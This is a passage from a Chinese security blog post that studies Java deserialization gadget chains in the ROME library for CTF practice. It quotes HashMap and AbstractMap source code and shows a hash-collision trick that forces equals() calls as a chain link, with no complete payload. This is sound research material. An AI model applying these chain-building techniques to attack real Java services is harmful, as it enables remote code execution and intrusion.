  • BadAttributeValueExpException
  • ObjectBean
  • HashMap
  • Hashtable

.......

可以参考这位师傅的文章:http://www.yongsheng.site/2022/03/10/ROME/

练习ROME拓展链的CTF题目:2022D^3CTF-shorter,2021陇原战疫-ezjba,西南赛区分区赛-EzRome

HashMap分析

HashMap是java中非常常见的数据结构,在Java反序列化链构造中也是经常遇到。经常利用它的hashcode()equals()方法来作为链子中的一部分,hashcode()利用起来比较简单,值得考究的是equals()

概念:HashMap的数据结构是数组+链表+红黑树,用来存储的内容是键值对(key-value)映射,其中key是不可以重复的。HashMap实现了Map接口并继承于AbstractMap,利用key的HashCode值存储数据,具有很快的访问速度,最多允许一条记录的键为null,不支持线程同步。

HashMap#put()

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
               boolean evict) {
    Node<K,V>[] tab; Node<K,V> p; int n, i;
    if ((tab = table) == null || (n = tab.length) == 0)
        n = (tab = resize()).length;
    if ((p = tab[i = (n - 1) & hash]) == null)
        tab[i] = newNode(hash, key, value, null);
    else {
        Node<K,V> e; K k;
        if (p.hash == hash &&
            ((k = p.key) == key || (key != null && key.equals(k))))
            e = p;
        else if (p instanceof TreeNode)
            e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
        else {
            for (int binCount = 0; ; ++binCount) {
                if ((e = p.next) == null) {
                    p.next = newNode(hash, key, value, null);
                    if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
                        treeifyBin(tab, hash);
                    break;
                }
                if (e.hash == hash &&
                    ((k = e.key) == key || (key != null && key.equals(k))))
                    break;
                p = e;
            }
        }
        if (e != null) { // existing mapping for key
            V oldValue = e.value;
            if (!onlyIfAbsent || oldValue == null)
                e.value = value;
            afterNodeAccess(e);
            return oldValue;
        }
    }
    ++modCount;
    if (++size > threshold)
        resize();
    afterNodeInsertion(evict);
    return null;
}

树组的索引由哈希表的key.hashCode()处理计算得到的,所有哈希碰撞到相同索引的key-value,都可能会被添加到这个链表后面。然后在链表中去和每一个Node比较去重。

触发equals():所以为了触发equals(),我们需要让两个比较的对象的哈希相同,这样才能被连接到同一条链表上,才会触发equals。

HashMap的对象计算自己的hashcode时会调用AbstractMap#hashCode()

public int hashCode() {
    int h = 0;
    Iterator<Entry<K,V>> i = entrySet().iterator();
    while (i.hasNext())
        h += i.next().hashCode();
    return h;
}

然后这样构造出的hashmap对象hashcode是相等的

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
objectObjectHashMap.put("aa","");
objectObjectHashMap1.put("bB","");
System.out.println(objectObjectHashMap.hashCode());
System.out.println(objectObjectHashMap1.hashCode());

3104

3104

AbstractMap的equals()方法

    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

Reference

ROME官网:http://rometools.github.io/rome/ROMEReleases/ROME1.0Release.html

主要参考博客:https://c014.cn/blog/java/ROME/ROME反序列化漏洞分析.html

ROME扩展链:http://www.yongsheng.site/2022/03/10/ROME/

ROME的HashMap扩展链和缩小payload:https://y4tacker.github.io/2022/03/07/year/2022/3/ROME改造计划/#Step1–改造利用链

posted @ 2022-06-26 16:20  B0T1eR  阅读(1051)  评论(0)    收藏  举报